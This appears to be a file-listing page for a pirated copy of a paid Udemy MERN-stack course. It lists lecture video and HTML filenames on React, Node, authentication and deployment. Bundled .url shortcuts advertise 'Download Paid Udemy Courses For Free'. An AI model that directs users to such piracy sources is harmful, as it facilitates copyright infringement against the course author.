GetFreeCourses.Co-Udemy-REACT NODE MERN STACK Learn from Scratch Building 2 Projects

mp4   Hot:24   Size:21.23 GB   Created:2023-02-12 18:16:46   Update:2024-10-27 06:18:46  

File List

  • 1 - NEW Introduction/1 - Project demo.mp4 41.48 MB
    1 - NEW Introduction/2 - Is this course right for you.mp4 21.09 MB
    1 - NEW Introduction/3 - VS Code editor setup.mp4 12.27 MB
    1 - NEW Introduction/4 - Source code.html 305 B
    1 - NEW Introduction/5 - Are you new to JavaScript Programming Language.html 989 B
    10 - NEW User Registration Schemas and Bcrypt/61 - Register page.mp4 70.63 MB
    10 - NEW User Registration Schemas and Bcrypt/62 - React state and onChange event.mp4 52.16 MB
    10 - NEW User Registration Schemas and Bcrypt/63 - Using axios.mp4 27.86 MB
    10 - NEW User Registration Schemas and Bcrypt/64 - Server setup.mp4 105.38 MB
    10 - NEW User Registration Schemas and Bcrypt/65 - Routes and controllers.mp4 76.61 MB
    10 - NEW User Registration Schemas and Bcrypt/66 - User model.mp4 53.33 MB
    10 - NEW User Registration Schemas and Bcrypt/67 - Bcrypt hash and compare.mp4 37.2 MB
    10 - NEW User Registration Schemas and Bcrypt/68 - Register user.mp4 101.01 MB
    10 - NEW User Registration Schemas and Bcrypt/69 - Toast notifications.mp4 94.14 MB
    10 - NEW User Registration Schemas and Bcrypt/70 - Ant design modal.mp4 48.27 MB
    10 - NEW User Registration Schemas and Bcrypt/71 - Env validation and form cleanup.mp4 58.8 MB
    10 - NEW User Registration Schemas and Bcrypt/72 - Loading state.mp4 57.32 MB
    10 - NEW User Registration Schemas and Bcrypt/73 - Background image.mp4 25.64 MB
    10 - NEW User Registration Schemas and Bcrypt/74 - Auth form component.mp4 93.83 MB
    11 - NEW User Login Context and Authorization/75 - Login page.mp4 100.52 MB
    11 - NEW User Login Context and Authorization/76 - User login and JWT token.mp4 99.39 MB
    11 - NEW User Login Context and Authorization/77 - Global state using context theory.mp4 14.54 MB
    11 - NEW User Login Context and Authorization/78 - Context state.mp4 56.08 MB
    11 - NEW User Login Context and Authorization/79 - Local storage.mp4 76.91 MB
    11 - NEW User Login Context and Authorization/80 - Logout.mp4 43.89 MB
    11 - NEW User Login Context and Authorization/81 - Conditional Nav links.mp4 39.66 MB
    11 - NEW User Login Context and Authorization/82 - Active links.mp4 92.86 MB
    11 - NEW User Login Context and Authorization/83 - Redirect logged in user.mp4 41.39 MB
    11 - NEW User Login Context and Authorization/84 - Using Postman.mp4 62.27 MB
    11 - NEW User Login Context and Authorization/85 - Verify current user token.mp4 70.78 MB
    11 - NEW User Login Context and Authorization/86 - Wrapper component for Authorization.mp4 113.66 MB
    11 - NEW User Login Context and Authorization/Download Paid Udemy Courses For Free.url 116 B
    11 - NEW User Login Context and Authorization/GetFreeCourses.Co.url 116 B
    12 - NEW Axios Configuration/87 - Axios interceptors.mp4 82.8 MB
    12 - NEW Axios Configuration/88 - Axios config.mp4 46.25 MB
    13 - NEW Forgot Password/89 - Forgot password page.mp4 66.56 MB
    13 - NEW Forgot Password/90 - Forgot password form.mp4 57.38 MB
    13 - NEW Forgot Password/91 - Forgot password server.mp4 72.43 MB
    13 - NEW Forgot Password/92 - Forgot password client.html 928 B
    13 - NEW Forgot Password/93 - Fix the error cannot read property data of undefined.mp4 92.48 MB
    14 - NEW Creating Posts/94 - Create post form.mp4 53.31 MB
    14 - NEW Creating Posts/95 - Create post request.mp4 85.26 MB
    14 - NEW Creating Posts/96 - Post model.mp4 35.14 MB
    14 - NEW Creating Posts/97 - Save post.mp4 103.2 MB
    14 - NEW Creating Posts/98 - React Quill rich text editor WYSIWYG.mp4 85.29 MB
    15 - NEW Image Upload/100 - Using cloudinary.mp4 88.04 MB
    15 - NEW Image Upload/101 - Upload to cloudinary.mp4 61.01 MB
    15 - NEW Image Upload/102 - Create post with image.mp4 127.32 MB
    15 - NEW Image Upload/99 - Image upload client.mp4 129.13 MB
    16 - NEW Rendering Posts/103 - User posts server.mp4 44.62 MB
    16 - NEW Rendering Posts/104 - User posts client.mp4 71.87 MB
    16 - NEW Rendering Posts/105 - Post list component.mp4 55.63 MB
    16 - NEW Rendering Posts/106 - Render posts.mp4 109.27 MB
    16 - NEW Rendering Posts/107 - Background image.mp4 46.57 MB
    16 - NEW Rendering Posts/108 - Ant design icons.mp4 66.25 MB
    16 - NEW Rendering Posts/109 - Edit and delete icons.mp4 126.11 MB
    16 - NEW Rendering Posts/110 - Load posts on new post create.mp4 35.55 MB
    17 - NEW Post Update and Delete/111 - Single post edit.mp4 94.27 MB
    17 - NEW Post Update and Delete/112 - Post update client.mp4 126.77 MB
    17 - NEW Post Update and Delete/113 - Can update and delete middleware.mp4 118.01 MB
    17 - NEW Post Update and Delete/114 - Delete post and image.mp4 35.07 MB
    17 - NEW Post Update and Delete/115 - Delete post.mp4 62.99 MB
    17 - NEW Post Update and Delete/116 - Whats next.mp4 27.63 MB
    18 - NEW User Profile Update/117 - Dropdown menu.mp4 97.63 MB
    18 - NEW User Profile Update/118 - Adding username.mp4 68.01 MB
    18 - NEW User Profile Update/119 - Profile update page.mp4 126.6 MB
    18 - NEW User Profile Update/120 - Profile update client.mp4 107.13 MB
    18 - NEW User Profile Update/121 - Profile update server.mp4 135.31 MB
    18 - NEW User Profile Update/122 - Update user in local storage and context.mp4 84.28 MB
    18 - NEW User Profile Update/123 - User profile image.mp4 122.05 MB
    19 - NEW Users Follow and Unfollow/124 - Find people to follow server.mp4 44.47 MB
    19 - NEW Users Follow and Unfollow/125 - Find people client.mp4 91.39 MB
    19 - NEW Users Follow and Unfollow/126 - People component.mp4 72.82 MB
    19 - NEW Users Follow and Unfollow/127 - User avatar.mp4 73.9 MB
    19 - NEW Users Follow and Unfollow/128 - Generate app logo optional.mp4 43.36 MB
    19 - NEW Users Follow and Unfollow/129 - Handle follow click.mp4 66.44 MB
    19 - NEW Users Follow and Unfollow/130 - User follow server.mp4 122.21 MB
    19 - NEW Users Follow and Unfollow/131 - User follow client.mp4 69.93 MB
    19 - NEW Users Follow and Unfollow/132 - News feed.mp4 121.04 MB
    19 - NEW Users Follow and Unfollow/133 - List of following.mp4 64.34 MB
    19 - NEW Users Follow and Unfollow/134 - Following page.mp4 82.91 MB
    19 - NEW Users Follow and Unfollow/135 - User unfollow.mp4 82.76 MB
    2 - NEW Modern JavaScript/10 - Template Strings.mp4 26.39 MB
    2 - NEW Modern JavaScript/11 - Function and default arguments.mp4 31.74 MB
    2 - NEW Modern JavaScript/12 - Arrow function and return keyword.mp4 49.81 MB
    2 - NEW Modern JavaScript/13 - This keyword.mp4 31.44 MB
    2 - NEW Modern JavaScript/14 - Object destructuring.mp4 41 MB
    2 - NEW Modern JavaScript/15 - Array destructuring.mp4 12.74 MB
    2 - NEW Modern JavaScript/16 - Spread operator.mp4 17.16 MB
    2 - NEW Modern JavaScript/17 - Rest operator.mp4 26 MB
    2 - NEW Modern JavaScript/18 - Function and prototype.mp4 31.01 MB
    2 - NEW Modern JavaScript/19 - Classes.mp4 25.15 MB
    2 - NEW Modern JavaScript/20 - Extending class.mp4 45.57 MB
    2 - NEW Modern JavaScript/6 - JavaScript in HTML.mp4 25.81 MB
    2 - NEW Modern JavaScript/7 - Window object DOM and Local storage.mp4 54.32 MB
    2 - NEW Modern JavaScript/8 - Variables using var let and const.mp4 39.15 MB
    2 - NEW Modern JavaScript/9 - Const and Object.mp4 37.36 MB
    20 - NEW Post Like and Unlike/136 - Like and unlike post client.mp4 67.8 MB
    20 - NEW Post Like and Unlike/137 - Like and unlike post server.mp4 91.52 MB
    20 - NEW Post Like and Unlike/138 - Helper function and likes count.mp4 75.35 MB
    20 - NEW Post Like and Unlike/Download Paid Udemy Courses For Free.url 116 B
    20 - NEW Post Like and Unlike/GetFreeCourses.Co.url 116 B
    21 - NEW Post Comments/139 - Ant design modal.mp4 114.66 MB
    21 - NEW Post Comments/140 - Comment form.mp4 55.24 MB
    21 - NEW Post Comments/141 - Add comment client.mp4 43.38 MB
    21 - NEW Post Comments/142 - Add comment server.mp4 72.12 MB
    21 - NEW Post Comments/143 - Comment count link and fixes.mp4 63.85 MB
    21 - NEW Post Comments/144 - Render comments.mp4 80.59 MB
    21 - NEW Post Comments/145 - Post comments page.mp4 54.73 MB
    21 - NEW Post Comments/146 - Render posts with all comments.mp4 133.92 MB
    21 - NEW Post Comments/147 - Comment remove.mp4 128.51 MB
    22 - NEW Pagination/148 - Pagination.mp4 53.62 MB
    22 - NEW Pagination/149 - Pagination client.mp4 154.13 MB
    23 - NEW Users Search and Public Profile/150 - Search component.mp4 102.56 MB
    23 - NEW Users Search and Public Profile/151 - Search result.mp4 75.52 MB
    23 - NEW Users Search and Public Profile/152 - Conditional follow and unfollow.mp4 75.53 MB
    23 - NEW Users Search and Public Profile/153 - Follow and unfollow searched user.mp4 54.17 MB
    23 - NEW Users Search and Public Profile/154 - User profile page.mp4 91.98 MB
    23 - NEW Users Search and Public Profile/155 - Public profile page.mp4 83.34 MB
    24 - NEW Posts Server Side Rendering and SEO/156 - Parallax image.mp4 118.69 MB
    24 - NEW Posts Server Side Rendering and SEO/157 - Posts SSR server side rendering.mp4 100.82 MB
    24 - NEW Posts Server Side Rendering and SEO/158 - SEO and Head section.mp4 161.33 MB
    24 - NEW Posts Server Side Rendering and SEO/159 - Single post and public post component.mp4 122.5 MB
    24 - NEW Posts Server Side Rendering and SEO/160 - Single post view SEO and head section.mp4 120.99 MB
    25 - NEW Socketio and Realtime Posts/161 - Sockerio server.mp4 88.96 MB
    25 - NEW Socketio and Realtime Posts/162 - Sockerio client.mp4 71.22 MB
    25 - NEW Socketio and Realtime Posts/163 - Broadcasting event.mp4 105.55 MB
    25 - NEW Socketio and Realtime Posts/164 - Realtime posts server.mp4 117.8 MB
    25 - NEW Socketio and Realtime Posts/165 - Realtime posts client.mp4 113.7 MB
    26 - NEW Admin Access/166 - Admin access server.mp4 100.95 MB
    26 - NEW Admin Access/167 - Is admin middleware.mp4 83.76 MB
    26 - NEW Admin Access/168 - Admin route.mp4 103.38 MB
    27 - NEW Wrap Up/169 - Wrap up.mp4 73.33 MB
    27 - NEW Wrap Up/170 - Deployment explained.mp4 45.24 MB
    27 - NEW Wrap Up/171 - Sockerio path.mp4 89.73 MB
    28 - NEW Deployment/172 - Digital ocean setup.mp4 57.48 MB
    28 - NEW Deployment/173 - SSH access.mp4 85.04 MB
    28 - NEW Deployment/174 - Push code to Github.mp4 55.55 MB
    28 - NEW Deployment/175 - Installing NodeJs NGINX and Git clone.mp4 164.49 MB
    28 - NEW Deployment/176 - Running server MongoDB and commit changes.mp4 148.22 MB
    28 - NEW Deployment/177 - Running React and NextJs client.mp4 39.13 MB
    29 - Understanding Node JS/178 - Project demo.mp4 31.87 MB
    29 - Understanding Node JS/179 - Are you new to JavaScript Programming Language.html 932 B
    29 - Understanding Node JS/180 - What is node js.mp4 8.46 MB
    29 - Understanding Node JS/181 - Why learn node js.mp4 21.77 MB
    29 - Understanding Node JS/182 - Installing node js.mp4 16.02 MB
    29 - Understanding Node JS/183 - Javascript in browser environment.mp4 22.05 MB
    29 - Understanding Node JS/184 - Javascript in node js environment.mp4 14.35 MB
    29 - Understanding Node JS/185 - Getting started with node js.mp4 15.32 MB
    29 - Understanding Node JS/186 - Writing functions.mp4 13.68 MB
    29 - Understanding Node JS/187 - Import export.mp4 39.1 MB
    29 - Understanding Node JS/188 - Using arrow functions.mp4 27.84 MB
    29 - Understanding Node JS/189 - Object destructuring.mp4 9.93 MB
    29 - Understanding Node JS/190 - Using node js core modules.mp4 19.61 MB
    29 - Understanding Node JS/191 - Using npm packages.mp4 68.25 MB
    29 - Understanding Node JS/192 - Using express.mp4 32.68 MB
    29 - Understanding Node JS/193 - Node js event loop.mp4 20.13 MB
    29 - Understanding Node JS/194 - Programming for event loop.mp4 34.91 MB
    29 - Understanding Node JS/195 - Asynchronous programming.mp4 51.17 MB
    29 - Understanding Node JS/196 - Synchronous programming.mp4 37.82 MB
    29 - Understanding Node JS/197 - Functional approach.mp4 25.2 MB
    29 - Understanding Node JS/198 - Secrets of understanding node js.mp4 7.03 MB
    3 - NEW Learning NodeJs/21 - NodeJs.mp4 24.21 MB
    3 - NEW Learning NodeJs/22 - Code execution in nodejs.mp4 25.6 MB
    3 - NEW Learning NodeJs/23 - Using NPM.mp4 39.07 MB
    3 - NEW Learning NodeJs/24 - Require and export.mp4 47.66 MB
    3 - NEW Learning NodeJs/25 - Core nodejs module.mp4 25.06 MB
    3 - NEW Learning NodeJs/26 - NodeJs event loop theory.mp4 14.92 MB
    3 - NEW Learning NodeJs/27 - Code execution.mp4 72.86 MB
    3 - NEW Learning NodeJs/28 - Synchronous vs NonAsynchronous.mp4 35.22 MB
    3 - NEW Learning NodeJs/29 - Using ExpressJs.mp4 61.02 MB
    30 - Node JS API Development First Steps/199 - Creating server with express.mp4 43.75 MB
    30 - Node JS API Development First Steps/200 - Separating routes.mp4 31.99 MB
    30 - Node JS API Development First Steps/201 - Middleware explained.mp4 51.43 MB
    30 - Node JS API Development First Steps/202 - Using controllers.mp4 39.54 MB
    30 - Node JS API Development First Steps/203 - Json and postman.mp4 26.72 MB
    30 - Node JS API Development First Steps/204 - Database Options mLab vs MongoDB Atlas.html 1.4 KB
    30 - Node JS API Development First Steps/205 - Mongoose version.html 517 B
    30 - Node JS API Development First Steps/206 - Signup with mlab to use mongodb.mp4 74.73 MB
    30 - Node JS API Development First Steps/207 - Signup with MongoDB Atlas to use mongodb.html 7.29 KB
    30 - Node JS API Development First Steps/208 - Resources to install MongoDB and Robo3T optional.html 963 B
    30 - Node JS API Development First Steps/209 - Connecting to database using mongoose.mp4 40.6 MB
    30 - Node JS API Development First Steps/210 - Source code.html 1.07 KB
    30 - Node JS API Development First Steps/Download Paid Udemy Courses For Free.url 116 B
    30 - Node JS API Development First Steps/GetFreeCourses.Co.url 116 B
    31 - Node JS API Development Posts/211 - Post schema.mp4 18.97 MB
    31 - Node JS API Development Posts/212 - Creating a post.mp4 83.26 MB
    31 - Node JS API Development Posts/213 - Using the right version of expressvalidator for the next lecture.html 863 B
    31 - Node JS API Development Posts/214 - Validation and friendly error messages.mp4 97.58 MB
    31 - Node JS API Development Posts/215 - Getting posts.mp4 51.75 MB
    31 - Node JS API Development Posts/216 - Whats next and cleanup.mp4 17.65 MB
    31 - Node JS API Development Posts/217 - Source code.html 1.07 KB
    32 - Node JS API Development Authentication/218 - Installing and using UUID.html 1.09 KB
    32 - Node JS API Development Authentication/219 - User schema.mp4 23.77 MB
    32 - Node JS API Development Authentication/220 - Virtual fields and methods.mp4 92.12 MB
    32 - Node JS API Development Authentication/221 - User signup using async await.mp4 68.24 MB
    32 - Node JS API Development Authentication/222 - User signin validation and error messaging.mp4 68.73 MB
    32 - Node JS API Development Authentication/223 - User signin flow.mp4 63.1 MB
    32 - Node JS API Development Authentication/224 - User signin with jwt.mp4 99.17 MB
    32 - Node JS API Development Authentication/225 - Testing user signin.mp4 31.58 MB
    32 - Node JS API Development Authentication/226 - Signout method.mp4 22.58 MB
    32 - Node JS API Development Authentication/227 - Source code.html 1.07 KB
    33 - Node JS API Development Authorization/228 - Express JWT Error Algorithms should be set.html 566 B
    33 - Node JS API Development Authorization/229 - Protecting routes.mp4 51.66 MB
    33 - Node JS API Development Authorization/230 - Handling unauthorized error.mp4 29.76 MB
    33 - Node JS API Development Authorization/231 - Implementing authorization.mp4 37.1 MB
    33 - Node JS API Development Authorization/232 - Find user by id and add to req object.mp4 35.09 MB
    33 - Node JS API Development Authorization/233 - Has authorization method.mp4 27.76 MB
    33 - Node JS API Development Authorization/234 - Apply require signin to create post.mp4 15.88 MB
    33 - Node JS API Development Authorization/235 - Source code.html 1.07 KB
    34 - Node JS API Development Users/236 - Showing all users.mp4 63.26 MB
    34 - Node JS API Development Users/237 - Showing single user.mp4 53.05 MB
    34 - Node JS API Development Users/238 - Update user.mp4 68.32 MB
    34 - Node JS API Development Users/239 - Delete user.mp4 41.45 MB
    34 - Node JS API Development Users/240 - Source code.html 1.07 KB
    35 - Node JS API Development Users and Posts/241 - User post relationship with post schema.mp4 33.54 MB
    35 - Node JS API Development Users and Posts/242 - Create post with image upload and user.mp4 74.77 MB
    35 - Node JS API Development Users and Posts/243 - Testing create post.mp4 72.03 MB
    35 - Node JS API Development Users and Posts/244 - Get all posts with user.mp4 22.8 MB
    35 - Node JS API Development Users and Posts/245 - Get all posts by user.mp4 52.89 MB
    35 - Node JS API Development Users and Posts/246 - Post update delete flow.mp4 15.51 MB
    35 - Node JS API Development Users and Posts/247 - Post by id based on route param.mp4 26.6 MB
    35 - Node JS API Development Users and Posts/248 - Delete post.mp4 78.01 MB
    35 - Node JS API Development Users and Posts/249 - Update post.mp4 42.22 MB
    35 - Node JS API Development Users and Posts/250 - Whats next.mp4 20.1 MB
    35 - Node JS API Development Users and Posts/251 - Documenting api.mp4 65.55 MB
    35 - Node JS API Development Users and Posts/252 - Adding cors.mp4 27.88 MB
    35 - Node JS API Development Users and Posts/253 - Source code.html 1.07 KB
    36 - Modern JavaScript/254 - Modern javascript.mp4 7.16 MB
    36 - Modern JavaScript/255 - Creating variables using const.mp4 16.86 MB
    36 - Modern JavaScript/256 - Creating variables using let.mp4 17.47 MB
    36 - Modern JavaScript/257 - Template strings.mp4 24.3 MB
    36 - Modern JavaScript/258 - Default parameters.mp4 13.78 MB
    36 - Modern JavaScript/259 - Arrow functions.mp4 30.06 MB
    36 - Modern JavaScript/260 - Arrow functions and this keyword.mp4 46 MB
    36 - Modern JavaScript/261 - Destructuring object.mp4 42.19 MB
    36 - Modern JavaScript/262 - Destructuring array.mp4 13.19 MB
    36 - Modern JavaScript/263 - Restructuring.mp4 29.8 MB
    36 - Modern JavaScript/264 - Spread and rest operators.mp4 41.96 MB
    36 - Modern JavaScript/265 - Class constructor super.mp4 102.41 MB
    36 - Modern JavaScript/266 - Source code.html 1.07 KB
    37 - React JS Basic/267 - Installing react.mp4 56.29 MB
    37 - React JS Basic/268 - React files and folders introduction.mp4 60.8 MB
    37 - React JS Basic/269 - Storing data in component state via ajax call.mp4 86.16 MB
    37 - React JS Basic/270 - Rendering state data using map.mp4 52.49 MB
    37 - React JS Basic/271 - Conditional rendering.mp4 32.2 MB
    37 - React JS Basic/272 - Imports exports props.mp4 85.32 MB
    37 - React JS Basic/273 - Handling click events.mp4 81.49 MB
    37 - React JS Basic/274 - Destructuring inline styling and keys.mp4 51.02 MB
    37 - React JS Basic/275 - Source code.html 1.07 KB
    38 - React JS Web App Development frontend/276 - Create react project.mp4 36.06 MB
    38 - React JS Web App Development frontend/277 - React router version.html 1.66 KB
    38 - React JS Web App Development frontend/278 - Using react router dom.mp4 47.06 MB
    38 - React JS Web App Development frontend/279 - Adding pages.mp4 19.32 MB
    38 - React JS Web App Development frontend/280 - Source code.html 1.07 KB
    38 - React JS Web App Development frontend/Download Paid Udemy Courses For Free.url 116 B
    38 - React JS Web App Development frontend/GetFreeCourses.Co.url 116 B
    39 - React JS Users signup and signin/281 - Signup form.mp4 28.5 MB
    39 - React JS Users signup and signin/282 - Handling onChange events.mp4 76.66 MB
    39 - React JS Users signup and signin/283 - User signup.mp4 76.14 MB
    39 - React JS Users signup and signin/284 - Code refactoring.mp4 44.78 MB
    39 - React JS Users signup and signin/285 - Showing validation and success message.mp4 71.43 MB
    39 - React JS Users signup and signin/286 - Code refactoring signup page.mp4 43.87 MB
    39 - React JS Users signup and signin/287 - Signin page.mp4 64.69 MB
    39 - React JS Users signup and signin/288 - User signin.mp4 68.39 MB
    39 - React JS Users signup and signin/289 - Loading.mp4 38.46 MB
    39 - React JS Users signup and signin/290 - Menu component.mp4 28.07 MB
    39 - React JS Users signup and signin/291 - Styling and active link.mp4 68.25 MB
    39 - React JS Users signup and signin/292 - Signout.mp4 96.63 MB
    39 - React JS Users signup and signin/293 - Conditional rendering of signup signin links.mp4 67.59 MB
    39 - React JS Users signup and signin/294 - Show user name.mp4 26.28 MB
    39 - React JS Users signup and signin/295 - Code refactoring auth logic.mp4 50.69 MB
    39 - React JS Users signup and signin/296 - Source code.html 1.07 KB
    4 - NEW Learn React/30 - Create react app.mp4 57.7 MB
    4 - NEW Learn React/31 - Creating a form.mp4 58.33 MB
    4 - NEW Learn React/32 - HTML to JSX.mp4 40.49 MB
    4 - NEW Learn React/33 - React state and event handlers.mp4 101.43 MB
    4 - NEW Learn React/34 - Making API request using fetch.mp4 73.28 MB
    4 - NEW Learn React/35 - Handling CORS error.mp4 54.58 MB
    4 - NEW Learn React/36 - Rendering data.mp4 99.03 MB
    4 - NEW Learn React/37 - External API request.mp4 67.29 MB
    4 - NEW Learn React/38 - Fetch to Axios.mp4 74.87 MB
    4 - NEW Learn React/39 - Reusable components.mp4 97.33 MB
    40 - React JS Users profile/297 - Profile page.mp4 49.69 MB
    40 - React JS Users profile/298 - Showing user info from local storage.mp4 45.13 MB
    40 - React JS Users profile/299 - Using env variables.mp4 26.75 MB
    40 - React JS Users profile/300 - Fetch user profile.mp4 108.36 MB
    40 - React JS Users profile/301 - Code refactoring fetch user.mp4 71.44 MB
    40 - React JS Users profile/302 - Show edit profile delete profile buttons.mp4 56.78 MB
    40 - React JS Users profile/303 - Active link user profile.mp4 21.45 MB
    40 - React JS Users profile/304 - Whats next.mp4 10.3 MB
    40 - React JS Users profile/305 - Users component.mp4 18.53 MB
    40 - React JS Users profile/306 - Populate users in state.mp4 27.9 MB
    40 - React JS Users profile/307 - Loop through users.mp4 48.6 MB
    40 - React JS Users profile/308 - Style user cards.mp4 46.84 MB
    40 - React JS Users profile/309 - Default profile image.mp4 30.35 MB
    40 - React JS Users profile/310 - All users profile page.mp4 81.32 MB
    40 - React JS Users profile/311 - Delete profile component.mp4 17.05 MB
    40 - React JS Users profile/312 - Users profile based on props change.mp4 24.18 MB
    40 - React JS Users profile/313 - Delete account prompt.mp4 31.86 MB
    40 - React JS Users profile/314 - Delete user account.mp4 62.1 MB
    40 - React JS Users profile/315 - Edit profile component.mp4 54.84 MB
    40 - React JS Users profile/316 - Pre profile edit profile form.mp4 56.73 MB
    40 - React JS Users profile/317 - Update user profile.mp4 82.76 MB
    40 - React JS Users profile/318 - Client side validation on profile update.mp4 76.23 MB
    40 - React JS Users profile/319 - Private route for authenticated users only.mp4 68.04 MB
    40 - React JS Users profile/320 - Profile photo upload.mp4 101.38 MB
    40 - React JS Users profile/321 - Loading on edit profile.mp4 39.81 MB
    40 - React JS Users profile/322 - Node API Update profile with image.mp4 109.6 MB
    40 - React JS Users profile/323 - File size validation.mp4 40.02 MB
    40 - React JS Users profile/324 - Node API Get user photo with separate route.mp4 39.02 MB
    40 - React JS Users profile/325 - Display profile image in edit profile page.mp4 47.73 MB
    40 - React JS Users profile/326 - Default image and profile image on all pages.mp4 89.3 MB
    40 - React JS Users profile/327 - User about field.mp4 46.3 MB
    40 - React JS Users profile/328 - Update user info in local storage.mp4 57.57 MB
    40 - React JS Users profile/329 - Source code.html 1.07 KB
    41 - Node JS API Development Users Follow and Unfollow/330 - Whats next.mp4 11.73 MB
    41 - Node JS API Development Users Follow and Unfollow/331 - Following and followers User schema and userById method.mp4 36 MB
    41 - Node JS API Development Users Follow and Unfollow/332 - Following and followers Routes and controller methods.mp4 66.08 MB
    41 - Node JS API Development Users Follow and Unfollow/333 - Remove following and remove followers Routes and controller methods.mp4 30.83 MB
    41 - Node JS API Development Users Follow and Unfollow/334 - Source code.html 1.07 KB
    42 - React Frontend Users Follow Unfollow/335 - Follow Profile Buttons Component.mp4 33.3 MB
    42 - React Frontend Users Follow Unfollow/336 - Check follow or not.mp4 58.07 MB
    42 - React Frontend Users Follow Unfollow/337 - Implement follow.mp4 91.06 MB
    42 - React Frontend Users Follow Unfollow/338 - Implement unfollow.mp4 41.74 MB
    42 - React Frontend Users Follow Unfollow/339 - Profile tabs component.mp4 45.78 MB
    42 - React Frontend Users Follow Unfollow/340 - Display followers list.mp4 62.69 MB
    42 - React Frontend Users Follow Unfollow/341 - Display following list.mp4 51.51 MB
    42 - React Frontend Users Follow Unfollow/342 - Node API Who to follow.mp4 48.79 MB
    42 - React Frontend Users Follow Unfollow/343 - Find people component.mp4 71.5 MB
    42 - React Frontend Users Follow Unfollow/344 - Find people and follow.mp4 89.61 MB
    42 - React Frontend Users Follow Unfollow/345 - Source code.html 1.07 KB
    43 - React Frontend Posts and Users/346 - Starting with posts.mp4 18.96 MB
    43 - React Frontend Posts and Users/347 - Create new post.mp4 190.72 MB
    43 - React Frontend Posts and Users/348 - Show all posts in home page.mp4 77.4 MB
    43 - React Frontend Posts and Users/349 - Show posts user date and excerpt.mp4 122.6 MB
    43 - React Frontend Posts and Users/350 - Node API Post image.mp4 27.17 MB
    43 - React Frontend Posts and Users/351 - Show posts with image.mp4 51.79 MB
    43 - React Frontend Posts and Users/352 - Single post component.mp4 29.42 MB
    43 - React Frontend Posts and Users/353 - Load single post in state.mp4 48.26 MB
    43 - React Frontend Posts and Users/354 - Display single post.mp4 64.18 MB
    43 - React Frontend Posts and Users/355 - Show loading on single post and posts.mp4 29.6 MB
    43 - React Frontend Posts and Users/356 - Posts by user.mp4 81.15 MB
    43 - React Frontend Posts and Users/357 - Display posts by user.mp4 50.11 MB
    43 - React Frontend Posts and Users/358 - Show update delete buttons.mp4 74.42 MB
    43 - React Frontend Posts and Users/359 - Delete post.mp4 76.67 MB
    43 - React Frontend Posts and Users/360 - Delete post prompt.mp4 21.16 MB
    43 - React Frontend Posts and Users/361 - Update post component.mp4 42.58 MB
    43 - React Frontend Posts and Users/362 - Implement update post.mp4 167.68 MB
    43 - React Frontend Posts and Users/363 - Update post photo and error messaging.mp4 58.14 MB
    43 - React Frontend Posts and Users/364 - Source code.html 1.07 KB
    44 - Like and Unlike/365 - Whats next.mp4 22.55 MB
    44 - Like and Unlike/366 - Node API Implement like unlike.mp4 72.63 MB
    44 - Like and Unlike/367 - React frontend Like Unlike methods.mp4 28.03 MB
    44 - Like and Unlike/368 - Implement like unlike in frontend.mp4 149.1 MB
    44 - Like and Unlike/369 - Like unlike styling.mp4 51.95 MB
    44 - Like and Unlike/370 - Like signin redirect.mp4 47.01 MB
    44 - Like and Unlike/371 - Source code.html 1.07 KB
    45 - Comments/372 - Comments backend.mp4 69.52 MB
    45 - Comments/373 - React comment uncomment methods.mp4 31.06 MB
    45 - Comments/374 - Adding comments.mp4 123.94 MB
    45 - Comments/375 - Render comments.mp4 118.79 MB
    45 - Comments/376 - Comment uncomment and validations.mp4 126.53 MB
    45 - Comments/377 - Source code.html 1.07 KB
    46 - Password forgot and reset/378 - Whats next.html 807 B
    46 - Password forgot and reset/379 - Password forgot and reset Backend.html 12.31 KB
    46 - Password forgot and reset/380 - Forgot password Frontend.html 6.75 KB
    46 - Password forgot and reset/381 - Reset password frontend.html 5.04 KB
    46 - Password forgot and reset/382 - Source code.html 1.07 KB
    47 - Login with Social Network Login with Google/383 - Social login Backend.html 3 KB
    47 - Login with Social Network Login with Google/384 - Social Login Frontend.html 8.22 KB
    47 - Login with Social Network Login with Google/385 - Source code.html 1.07 KB
    48 - Deployment/386 - Deploying Node JS API to Digital Ocean.html 4.71 KB
    48 - Deployment/387 - Deploy Node JS API Signup and super user.mp4 105.56 MB
    48 - Deployment/388 - Running API in Digital Ocean.mp4 120.46 MB
    48 - Deployment/389 - Using mongoDB in Digital Ocean.mp4 60.68 MB
    48 - Deployment/390 - Deploy React SPA to Digital Ocean.mp4 96.7 MB
    48 - Deployment/391 - Source code.html 1.07 KB
    49 - Custom reCAPTCHA/392 - Own reCAPTCHA.mp4 12.21 MB
    49 - Custom reCAPTCHA/393 - Implement your own reCAPTCHA in React.html 15.7 KB
    49 - Custom reCAPTCHA/394 - Source code.html 1.07 KB
    5 - NEW Styling in React/40 - CSS in React.mp4 68.4 MB
    5 - NEW Styling in React/41 - Styled components.mp4 42.76 MB
    5 - NEW Styling in React/42 - Using Ant Design.mp4 62.68 MB
    5 - NEW Styling in React/43 - Loading state.mp4 59.96 MB
    50 - Super Admin Backend/395 - Super Admin Overview.mp4 11.36 MB
    50 - Super Admin Backend/396 - Implementing role to users.mp4 101.72 MB
    50 - Super Admin Backend/397 - Making a user admin using command line.mp4 100.32 MB
    50 - Super Admin Backend/398 - Admin can update and delete anyones post.mp4 61.13 MB
    50 - Super Admin Backend/399 - Admin can update and delete any user.mp4 118.53 MB
    50 - Super Admin Backend/400 - Source code.html 1.07 KB
    51 - Super Admin Frontend/401 - Create Admin Component.html 4.83 KB
    51 - Super Admin Frontend/402 - Admin can update or delete any user.html 3.35 KB
    51 - Super Admin Frontend/403 - Admin can update and delete anyones post.html 3.66 KB
    51 - Super Admin Frontend/404 - Source code.html 1.07 KB
    52 - Pagination/405 - Implement pagination Backend.html 1.89 KB
    52 - Pagination/406 - Implement pagination Frontend.html 9.09 KB
    52 - Pagination/407 - Tidy Up Show edit page conditionally.html 2.18 KB
    52 - Pagination/408 - Source code.html 1.07 KB
    53 - Download Source Code and checkout different commits/409 - How to download source code from Github and checkout different commits.mp4 69.42 MB
    53 - Download Source Code and checkout different commits/410 - Download source code from Github.html 741 B
    53 - Download Source Code and checkout different commits/411 - OPTIONAL Method to show only posts by yourself and users you are following.html 1.21 KB
    53 - Download Source Code and checkout different commits/412 - OPTIONAL Remove users posts when user is deleted.html 926 B
    53 - Download Source Code and checkout different commits/413 - Securing Social Login.html 3.9 KB
    53 - Download Source Code and checkout different commits/Download Paid Udemy Courses For Free.url 116 B
    53 - Download Source Code and checkout different commits/GetFreeCourses.Co.url 116 B
    54 - Bonus/414 - Other courses you may like.html 11.34 KB
    54 - Bonus/415 - Join my Discord server.html 449 B
